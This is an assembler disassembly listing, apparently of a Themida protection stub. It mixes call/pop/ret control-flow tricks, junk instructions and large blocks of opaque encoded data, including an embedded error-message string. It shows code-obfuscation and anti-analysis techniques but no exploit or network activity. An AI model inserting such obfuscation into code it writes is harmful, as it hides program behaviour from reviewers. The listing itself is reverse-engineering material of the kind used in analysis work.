		dd 81AAA0CAh, 3ABEAB4Eh, 0E9310F4Ah, 14h, 5FD93DAh, 0FE51BFFFh
		dd 0C0E6E17Fh, 0A25DA4A2h, 32F299Fh, 0E992585Ah, 0Eh, 2318468Bh
		dd 7F63214Fh, 7417D3BCh, 10F56A6h, 6AFE244Ch, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 0E548C352h, 4F88EF62h, 0F5AB560h, 0F83h, 0AE900h, 51B10000h
		dd 37165F58h, 1BFBC055h, 1D8C0F61h, 60000000h, 10E8h, 59354500h
		dd 902F20D7h, 482C4580h, 0D4FC016Ah, 81665BD0h,	6173B4C9h
		dd 55006A5Ah, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1B04h
		dd 0C3554500h, 44114CE8h, 0DE630A1Fh, 0C2836160h, 57006A24h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 46BCE42Ah, 0C57D058Bh, 1820F09h, 0F5000000h,	0FC728966h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0B6C35343h
		dd 6E99D39Eh, 9E9917Fh,	0
		dd 18A2ACB6h, 651828FFh, 6A10CEC1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 0C773C350h
		dd 0B0775C70h, 2D798CB7h, 728966F8h, 56006A02h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 0D7F7AD4h
		dd 0F04CD1Ch, 186h, 0A7E9F800h,	60000000h, 0BE9h, 0F31C3400h
		dd 0EA7025E0h, 0A539AFA8h, 3DF4D081h, 0F611DE0h, 189h
		db 0, 0F8h
; ---------------------------------------------------------------------------


loc_5B38BE:				; CODE XREF: Themida_:005B366Fj
		mov	eax, [ebp+616779Dh]
		jbe	loc_5B38E3
		jmp	loc_5B38E3
; ---------------------------------------------------------------------------
		db 2
		dd 8AFB2137h, 60A5AE26h, 0A237BD94h, 9C39C401h
		db 0F1h, 83h, 5Bh
; ---------------------------------------------------------------------------


loc_5B38E3:				; CODE XREF: Themida_:005B38C4j
					; Themida_:005B38CAj
		lea	esi, [ebp+6167739h]
		push	0
		push	edi
		call	sub_5B38F4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B38F4	proc near		; CODE XREF: Themida_:005B38ECp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_5B38F4	endp

; ---------------------------------------------------------------------------
		dd 69269F39h, 657C8148h, 8DF59EBDh, 16448385h, 17850F06h
		dd 0F000000h, 1180h, 0CE900h, 9450000h,	0AB77DD40h, 6F3D8671h
		dd 0D0FFBA2Ch, 0C840Fh,	8B0F0000h, 6, 870Fh, 85890000h
		dd 6166FC7h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0F1C35747h, 0CE91Ah, 37E50000h,	6A38DBDAh, 4F9DE351h
		db 0FBh, 0E8h
; ---------------------------------------------------------------------------


loc_5B397A:				; CODE XREF: Themida_:005B35D1j
		popa
		push	0
		push	ebp
		call	sub_5B3986
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3986	proc near		; CODE XREF: Themida_:005B397Ep

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 15h
		inc	ebp
		push	ebp
		retn
sub_5B3986	endp

; ---------------------------------------------------------------------------
		dw 0B1EFh
; ---------------------------------------------------------------------------
		mov	eax, [ebp+6166FC7h]
		push	0
		push	ebx
		call	sub_5B39A9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B39A9	proc near		; CODE XREF: Themida_:005B39A1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_5B39A9	endp

; ---------------------------------------------------------------------------
		sal	ch, 60h
		sbb	di, 0F71Eh
		sbb	esi, 5302F3D1h
		popa
		retn
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_5B39D4
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B39D4	proc near		; CODE XREF: Themida_:005B39CCp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ch
		inc	ebx
		push	ebx
		retn
sub_5B39D4	endp

; ---------------------------------------------------------------------------
		dd 2F2BA31Eh, 9DE03B35h, 0E852607Eh, 0Bh, 0B6A56C88h, 444926FFh
		dd 5BDEAF17h, 60FC615Eh, 0A9F08160h, 0F2A684Ah,	18Dh, 8361F900h
		dd 16779DBDh, 850F0006h, 39h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ah, 0E7C35545h,	0D503EAEDh, 7E93BB5h
		dd 0F9000000h, 0CCBD3324h, 85C785E6h, 616779Dh,	1013Fh
		dd 7E9FCh, 820F0000h, 1, 20CDF9h, 0B000000h, 8D3774C0h
		dd 0BD8B0C70h, 6166FCFh, 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h
		dd 6166FCBh, 7F34583Bh,	6BD38B15h, 0CA0304D2h, 8589018Bh
		dd 6166FC7h, 8B04EBh, 8B61C5EBh, 166FC785h, 8F0FCF06h
		dd 0Ch,	68D0Fh,	840F0000h, 0
; ---------------------------------------------------------------------------
		push	0
		push	edi
		call	sub_5B3ACB
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3ACB	proc near		; CODE XREF: Themida_:005B3AC3p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5B3ACB	endp

; ---------------------------------------------------------------------------
		xor	al, 1
		jnb	loc_5B3AE4
		cld


loc_5B3AE4:				; CODE XREF: Themida_:005B3ADDj
		mov	eax, eax
		jmp	loc_5B3EEB
; ---------------------------------------------------------------------------
		align 4
		dd 33000000h, 69206E41h, 7265746Eh, 206C616Eh, 65637865h
		dd 6F697470h, 636F206Eh, 65727563h, 41282064h, 65726464h
		dd 203A7373h, 78257830h, 500D0A29h, 7361656Ch, 63202C65h
		dd 61746E6Fh, 73207463h, 6F707075h, 6F407472h, 6E616572h
		dd 6F632E73h, 54202E6Dh, 6B6E6168h, 756F7920h, 21h, 0E3h dup(0)
		dd 56000000h, 45000000h, 0
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5B3EEB:				; CODE XREF: Themida_:005B3AE6j
		jmp	loc_5B4F9B
; ---------------------------------------------------------------------------
		jge	loc_5B3EFC
		sub	[ebp+6130061h],	eax


loc_5B3EFC:				; CODE XREF: Themida_:005B3EF0j
		stc
		mov	eax, [ebp+61307C9h]
		push	0
		push	edx
		call	sub_5B3F0E
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3F0E	proc near		; CODE XREF: Themida_:005B3F06p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_5B3F0E	endp

; ---------------------------------------------------------------------------
		adc	[ebx-42582EBCh], esp
		cmc
		cmp	[esp+4], eax
		jnz	loc_5B3F80
		jnb	loc_5B3F3C
		jle	loc_5B3F3C
		cld


loc_5B3F3C:				; CODE XREF: Themida_:005B3F2Fj
					; Themida_:005B3F35j
		cmp	dword ptr [ebp+6131505h], 0
		jz	loc_5B3F80
		xor	[ebp+6131985h],	eax
		lea	eax, [ebp+6133AADh]
		push	0
		push	esi
		call	sub_5B3F60
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3F60	proc near		; CODE XREF: Themida_:005B3F58p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B3F60	endp

; ---------------------------------------------------------------------------
		dd 0E0FFB720h, 6890Fh, 95890000h, 6131B29h
; ---------------------------------------------------------------------------


loc_5B3F80:				; CODE XREF: Themida_:005B3F29j
					; Themida_:005B3F43j
		mov	eax, [ebp+61310D1h]
		push	0
		push	ebp
		call	sub_5B3F91
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3F91	proc near		; CODE XREF: Themida_:005B3F89p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Bh
		inc	ebp
		push	ebp
		retn
sub_5B3F91	endp

; ---------------------------------------------------------------------------
		pushf
		dec	dword ptr [ecx+eax*4+6434DED8h]
		cmp	[esp+4], eax
		jnz	loc_5B3FF4
		push	0
		push	esi
		call	sub_5B3FBE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B3FBE	proc near		; CODE XREF: Themida_:005B3FB6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 15h
		inc	esi
		push	esi
		retn
sub_5B3FBE	endp

; ---------------------------------------------------------------------------
		or	edx, ebp
		add	[ebp+6130B91h],	eax
		mov	dword ptr [ebp+6167C1Dh], 1
		jmp	loc_5B3FF4
; ---------------------------------------------------------------------------
		mov	ds:3FECB0C6h, al
		xchg	eax, esi
		and	eax, 0C1968396h
		sub	bl, [ecx-62h]
		lodsb


loc_5B3FF4:				; CODE XREF: Themida_:005B3FADj
					; Themida_:005B3FE0j
		pusha
		push	0
		push	edi
		call	sub_5B4000
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4000	proc near		; CODE XREF: Themida_:005B3FF8p

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 17h
		inc	edi
		push	edi
		retn
sub_5B4000	endp

; ---------------------------------------------------------------------------
		sbb	eax, [ecx]
		add	edi, edx
		jmp	loc_5B4041
; ---------------------------------------------------------------------------
		push	0
		push	eax
		call	sub_5B4024
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4024	proc near		; CODE XREF: Themida_:005B401Cp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 1Ch
		inc	eax
		push	eax
		retn
sub_5B4024	endp

; ---------------------------------------------------------------------------
		dd 14E11D4Ch, 5EADFB32h, 21h
		db 0
; ---------------------------------------------------------------------------


loc_5B4041:				; CODE XREF: Themida_:005B4014j
		mov	eax, 1


loc_5B4046:				; CODE XREF: Themida_:005B404Ej
		xchg	eax, [ebp+6167D73h]
		or	eax, eax
		jnz	short loc_5B4046
		push	dword ptr [ebp+61311E1h]
		pop	dword ptr [ebp+6167C15h]
		push	20h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6130D09h]
		cmp	dword ptr [ebp+61334A1h], 0
		jz	short loc_5B4077
		push	0
		call	dword ptr [ebp+6130DA9h]


loc_5B4077:				; CODE XREF: Themida_:005B406Dj
		cmp	dword ptr [ebp+61322C1h], 1
		jz	short loc_5B408D
		push	80h
		push	0FFFFFFFFh
		call	dword ptr [ebp+6130D09h]


loc_5B408D:				; CODE XREF: Themida_:005B407Ej
		pusha
		movsx	eax, bx
		push	eax
		mov	[ebp+6132165h],	edi
		pop	ebx
		popa
		jmp	loc_5B40B0
; ---------------------------------------------------------------------------
		db 4Fh
		dd 0A2D59E60h, 129A1DE7h, 0A9D6033Dh, 0A9942C31h
; ---------------------------------------------------------------------------


loc_5B40B0:				; CODE XREF: Themida_:005B409Aj
		mov	eax, 0
		push	0
		push	edx
		call	sub_5B40C0
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B40C0	proc near		; CODE XREF: Themida_:005B40B8p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 15h
		inc	edx
		push	edx
		retn
sub_5B40C0	endp

; ---------------------------------------------------------------------------
		dd 0BD896456h, 6131CE1h, 68A0Fh, 0B5890000h, 61301C5h
		dd 2824548Bh, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	69C35242h, 0F5C9469Ah, 6E9h, 360B7800h,	891AB606h
		dd 132BC585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 91118387h, 8D3113C1h, 6130619h, 3CBEh
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1504h
		dd 0C3514100h, 8D2996F6h, 6131D3Dh, 24247403h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E6C35242h, 3869B607h
		dd 0A253B878h, 1A6D8589h, 8D0F0613h, 0Eh, 9E9h,	92A87700h
		dd 34D1B342h, 0AD662E91h, 0BE9h, 0CDADD800h, 2B4C1A1Ch
		dd 0CB9FB466h, 24244403h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0B7C35242h, 0FC8F39E9h, 1DC7362Ah, 0CE960BAh
		dd 62000000h, 50AC2C69h, 6898037Fh, 890EE9D2h, 1316458Dh
		dd 0F906106h, 88Bh, 2830F00h, 60000000h, 0F605061h, 281h
		dd 61616000h, 408BF990h, 51006A78h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0E82A963Ah, 839EE147h
		dd 167C1DBDh, 850F0006h, 0DEh, 5E9h, 4E35A800h,	0E9503157h
		dd 9, 25605CABh, 62EF1CF0h, 240489E1h, 24448BFCh, 51006A2Ch
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1404h, 0C3514100h
		dd 8529F593h, 6130F01h,	60525050h, 0AE95B51h, 2A000000h
		dd 0C51D4835h, 754D3FE9h, 310F613Ah, 52505250h,	585A310Fh
		dd 0EE9310Fh, 3A000000h, 343C93EBh, 6D01DDD2h, 2039C0A3h
		dd 5A585A31h, 24048958h, 23E19589h, 858D0613h, 6164B4Ch
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 2C35242h
		dd 0F8C8811Ch, 17398D29h, 0D0FF0613h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ch, 63C35747h, 1F87D7C6h, 8FC78857h
		dd 9E59D09h, 44030613h,	6A2824h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1B0424h, 55450000h, 0BBF59C3h, 0EF26CDBFh
		dd 8D29604Ch, 6130AE9h,	2C099589h, 8B610613h, 6A1840h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 7016EEC3h, 25CB0F75h, 19840FF9h, 0E9000000h,	14h, 9294DF88h
		dd 1AA11296h, 0E26236DFh, 71A82CA5h, 0BCDE5065h, 55006A40h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 2A3F103Dh, 36AB86B7h, 0E8F0Fh, 0F600000h, 87h, 19BD0300h
		dd 6106130Fh, 7C198589h, 6A0616h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 0F960C8C3h, 24399D89h
		dd 0E9610613h, 0Dh, 90229DFCh, 6315DBBDh, 0B35CCCD3h, 896058CBh
		dd 131E39BDh, 0AEEB8106h, 6173D0BAh, 1BB5B589h,	708B0613h
		dd 45BD2978h, 8306132Ah, 6A1CC6h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 1E3A2AC3h, 0A23A6639h
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 16744705h, 0F8F515AEh, 24247C81h, 10000000h
		dd 0D6870Fh, 85010000h,	6131F91h, 52506050h, 0B866310Fh
		dd 585A847Dh, 1F9074BAh, 4896171h, 0EE924h, 0A0CD0000h
		dd 0EA3EC897h, 0D5962F76h, 9E3B5BEAh, 2824448Bh, 413ABE60h
		dd 85895C92h, 6130E45h,	52505061h, 0BB585360h, 30364C58h
		dd 60310F61h, 0A5BF5F51h, 617634F1h, 489585Ah, 50006A24h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 89D1996Ch, 1306C59Dh, 21958906h, 8D06130Fh, 164B4C85h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0D0FF11F4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 0DCC35747h, 0A9C0B323h, 6800Fh, 0BD290000h
		dd 6133201h, 55006A96h,	3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1A04h, 0C3554500h, 0FE4C5F0Eh, 29504F4Ch, 131DED8Dh
		dd 81666006h, 2BB2FBC6h, 13252995h, 74036106h, 0AE92424h
		dd 84000000h, 296BE6BAh, 0F61735E3h, 0C1BD8D60h, 6A061318h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1D042444h
		dd 41000000h, 6A47C351h, 9691946h, 0C9D288DCh, 60F5ADF9h
		dd 3161B529h, 0EE90613h, 0E000000h, 0C7E3B394h,	0A751E660h
		dd 2E43063Dh, 7C8161E9h, 2424h,	870F1000h, 0D3h, 0C810Fh
		dd 8E0F0000h, 6, 0F59501h, 8B600613h, 132BCD85h, 60506106h
		dd 8B6640B7h, 48961C6h,	56006A24h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 3F58B12Ah, 10D239A2h
		dd 8B607F5Ah, 130CF985h, 448B6106h, 6A2824h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 58E984C3h
		dd 2F427687h, 8501BA22h, 613204Dh, 6E990h, 18560000h, 22118253h
		dd 13820F50h, 0E9000000h, 0Eh, 1990DE5Ch, 0C2B46B43h, 0E2FE8A43h
		dd 0E9907EE9h, 0Ah, 0D6A6F456h,	15DE1B36h, 858D40A8h, 6164B4Ch
		dd 1069B589h, 0D0FF0613h, 58F0F60h, 66000000h, 0DE7CCF81h
		dd 36130B5h, 0FC242444h, 0FA81F9ABh, 10000h, 6E7820Fh
		dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 171D12C3h, 0A28C0A0Eh, 95013DB8h,	6130F91h
		dd 951BD8Dh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 170424h, 55450000h, 3135C3h,	5195890Dh, 0AD061313h
		dd 1890Fh, 81F50000h, 24247Ch, 0F100000h, 0CC87h, 0E950F500h
		dd 8, 614E175Dh, 0EDBBA115h, 0F240489h,	680h, 0C5958900h
		dd 8B061307h, 29282444h, 131EB1BDh, 14E99006h, 0C2000000h
		dd 0CB8171ECh, 1D8558C7h, 83AE9C60h, 0D29258AEh, 50EFE4BBh
		dd 0DE960h, 40F40000h, 993B2CDEh, 60319586h, 663960A0h
		dd 615A21B8h, 14E990h, 226C0000h, 24B2D189h, 0BA7AA1F2h
		dd 0A7035CBCh, 0A67A854Fh, 858D21CCh, 6164B4Ch,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1DC35747h, 7D0D4666h
		dd 7FD4B99Dh, 7DB589E7h, 0FF06131Ah, 50006AD0h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1604h,	0C3504000h, 9C2CC59h, 130921B5h
		dd 24440306h, 75B58924h, 50061329h, 0F605250h, 85h, 10BA6600h
		dd 310F6118h, 0CE8B6660h, 5A615852h, 24048958h,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0EBC35040h, 0C7E5879Dh
		dd 0B8D4E4C2h, 50006AABh, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 822D09A8h, 0F6C935Bh
		dd 689h, 0C9852900h, 89061304h,	132B6985h, 55BD8D06h, 6A06131Bh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E9BFC350h, 0Bh, 38B87774h, 77747621h
		dd 0AD2138B8h, 21A98D89h, 7C810613h, 2824h, 870F1000h
		dd 10Bh, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 15h,	1CC35040h, 800F506Ch, 19h, 14E9h, 63B82800h, 0F7E443C4h
		dd 0C58D67F9h, 0AEFF6E19h, 6E7555Ch, 24048915h,	0F5CB8B60h
		dd 24448B61h, 0E19D092Ch, 9006131Ah, 14E95250h,	0E8000000h
		dd 21866D22h, 8DA85874h, 0EBC1B9D0h, 0DD71F070h, 0F3C9D7Eh
		dd 61606031h, 50585A61h, 0E8C78B60h, 0Ah, 0E66F37E0h, 0B856A1F6h
		dd 52502A91h, 585A310Fh, 6A906158h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 0E9CCC355h
		dd 89FCF5B0h, 1331B585h, 4C858D06h, 6A06164Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h
		dd 0F578C355h, 6AD0FFh,	3E857h,	5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 0F8341DC3h, 0EE9h, 360E4B00h, 20169E43h
		dd 86A4974h, 34C7151h, 89282444h, 132049BDh, 8800F06h
		dd 60000000h, 34A0BB66h, 0AB61FDB5h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 3BC35242h, 0F91C1A4Ch, 978534Eh
		dd 130D9D95h, 0DE906h, 0CCFD0000h, 77383EA6h, 9ED7179Ch
		dd 5EC9AE82h, 7C198DFFh, 0BD830616h, 6167C19h, 330A7500h
		dd 0B3B58DC0h, 0FF06168Ah, 81AD56E6h, 28247Ch, 77100000h
		dd 448B500Eh, 8D502C24h, 164B4C85h, 3D0FF06h, 97282444h
		dd 858ADF8Bh, 6167C15h,	474C084h, 4C75073Ah, 0AEC03257h
		dd 2B5EFD75h, 33FC52FBh, 0D18B49C9h, 0DB33C033h, 8AC132ACh
		dd 8AEA8ACDh, 6608B6D6h, 0D166EBD1h, 660973D8h,	66504135h
		dd 5449F381h, 0EB75CEFEh, 0D333C833h, 0F7D5754Fh, 8BD1F7D2h
		dd 10C0C1C2h, 5AC18B66h, 0F74D03Bh, 4C6835Eh, 2BC585FFh
		dd 5DE90613h, 5EFFFFFFh, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ch, 36C35646h, 0F761A067h, 8BE18A6Ch, 48B0Fh
		dd 53600000h, 6A615Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 1944ABC3h, 0EDC475CFh, 3160B099h
		dd 1305959Dh, 10E906h, 0B1D60000h, 950667ACh, 5F5851B1h
		dd 0C0553716h, 8B611BFBh, 132BC585h, 65B58906h,	0D1061301h
		dd 11E9E0h, 906D0000h, 0B463A8FEh, 3D370EFAh, 0A954C516h
		dd 0F08E257h, 68Eh, 0E1852900h,	3061323h, 131B5585h, 0E7816006h
		dd 44554301h, 2A6D8589h, 2B610613h, 6A96F8F6h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
		dd 0E921C352h, 0Ah, 5151E804h, 7FFDDF8h, 860F24C9h, 1
		dd 6AAD66FCh, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0C0B9C350h, 7E9h, 0D0A2F400h
		dd 99679504h, 22800Fh, 8B600000h, 1311998Dh, 14E806h, 2B4A0000h
		dd 36FA0C14h, 0DB8A0E97h, 0FCCCF348h, 55FDE3F1h, 615F9BFEh
		dd 0F02E0C1h, 684h, 7D8D0100h, 3061300h, 1318C185h, 5E906h
		dd 79650000h, 0FC76F934h, 11E96096h, 40000000h,	0B2DDDD36h
		dd 82AB5278h, 3BF1C4F9h, 7B1918ECh, 870FAD61h, 0Ch, 68E0Fh
		dd 0B5890000h, 6130BD1h, 24247C81h, 10000000h, 0D0870Fh
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h
		dd 55450000h, 8F643DC3h, 902BA271h, 0BE9h, 0D54D9F00h
		dd 7A46CD5Fh, 0A36E7519h, 0EE96050h, 0AF000000h, 56720090h
		dd 0E4E18D4Bh, 1E84B9EDh, 0F906143h, 0E8Fh, 958B6000h
		dd 6130D49h, 10718D03h,	8B610613h, 0E9282444h, 9, 4CB6E04Eh
		dd 0D39F0C07h, 0BF609008h, 5E336577h, 0DDED11BAh, 0E9506122h
		dd 0Ch,	5112A638h, 50F30C3Bh, 0D161B2BCh, 99858990h, 8D061316h
		dd 164B4C85h, 0DE906h, 24DE0000h, 85661A5Eh, 0A1D5071Bh
		dd 0FF170AFBh, 840F60D0h, 13h, 0DE8h, 36965E00h, 804E94DBh
		dd 0B7B16393h, 8B5EF057h, 131EF9B5h, 44036106h,	6A2424h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 0EA94D7C3h, 89FE7CE4h, 130C318Dh, 24448906h,	0AD85011Ch
		dd 0C6061320h, 1311E185h, 85C70006h, 6167D73h, 0
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp+6167C1Dh], 0
		push	0
		push	ebp
		call	sub_5B4DAD
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4DAD	proc near		; CODE XREF: Themida_:005B4DA5p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_5B4DAD	endp

; ---------------------------------------------------------------------------
		push	71850160h
		adc	al, 13h
		push	es
		popa
		popa
		cmc
		retn	8
; ---------------------------------------------------------------------------
		mov	[ebp+6132071h],	edi
		mov	eax, [ebp+61318C1h]
		pusha
		mov	ebx, 2D68B002h
		mov	ecx, edx
		popa
		dec	edx
		push	0
		push	ecx
		call	sub_5B4DEC
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4DEC	proc near		; CODE XREF: Themida_:005B4DE4p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5B4DEC	endp

; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		pop	ecx
		popf
		mov	ebp, 8509F186h
		add	eax, 6B06131Ch
		rol	byte ptr [edi+ecx], cl
		lea	ecx, ds:60000000h
		sub	dx, 0D82Bh
		jo	$+6
		popa
		add	eax, edx
		push	0
		push	eax
		call	sub_5B4E2B
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4E2B	proc near		; CODE XREF: Themida_:005B4E23p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5B4E2B	endp

; ---------------------------------------------------------------------------
		dec	edx
		and	al, [edi]
		mov	dl, 4Ah
		pusha
		add	ebx, 641F4B03h
		or	ch, 0E2h
		popa
		jmp	loc_5B4E5E
; ---------------------------------------------------------------------------
		dd 0D46E0CE8h, 974BF0CAh, 0C3368ECDh
		db 0CFh, 0FFh
; ---------------------------------------------------------------------------


loc_5B4E5E:				; CODE XREF: Themida_:005B4E4Bj
		xchg	eax, esi
		push	0
		push	eax
		call	sub_5B4E6A
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4E6A	proc near		; CODE XREF: Themida_:005B4E62p

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 15h
		inc	eax
		push	eax
		retn
sub_5B4E6A	endp

; ---------------------------------------------------------------------------
		dw 0BF3Eh
; ---------------------------------------------------------------------------
		js	loc_5B4E94
		jmp	loc_5B4E94
; ---------------------------------------------------------------------------
		db 6Dh
		dd 9F676B44h, 4EA91D44h, 0B9E55903h
; ---------------------------------------------------------------------------


loc_5B4E94:				; CODE XREF: Themida_:005B4E7Cj
					; Themida_:005B4E82j
		cmc
		lodsd
		push	0
		push	ebx
		call	sub_5B4EA1
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5B4EA1	proc near		; CODE XREF: Themida_:005B4E99p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Dh
		inc	ebx
		push	ebx
		retn
sub_5B4EA1	endp

; ---------------------------------------------------------------------------
		db 93h,	24h, 3Dh
		dd 93487BF5h, 0E995246Bh, 11h, 27C9D8A2h, 7F4F41F4h, 0DD9A16C8h
		dd 5E332F59h, 247C81EFh, 24h, 9B870F10h, 89000000h, 130A699Dh
		dd 11E906h, 47B80000h, 0A1378231h, 0D06C65C5h, 0D6F4C6EEh
		dd 50FBAE64h, 0CE9h, 985FFA00h,	0BADA3444h, 0F08DC89Ch
		dd 24048934h, 24448BFCh, 5090F528h, 6840F52h, 0F000000h
		dd 82h,	60310F00h, 810F6160h, 0
; ---------------------------------------------------------------------------
		popa
		pop	edx
		pop	eax
		push	eax
		pusha
		mov	cl, 0F2h
		mov	bx, 97C7h
		popa
		nop
		pusha
		and	si, 16E3h
		jmp	loc_5B4F5B
; ---------------------------------------------------------------------------
		dd 0D5C8D434h, 2B3C782Ch, 0A50C35B6h, 967F3D16h
		db 65h,	3Fh, 0E9h
; ---------------------------------------------------------------------------


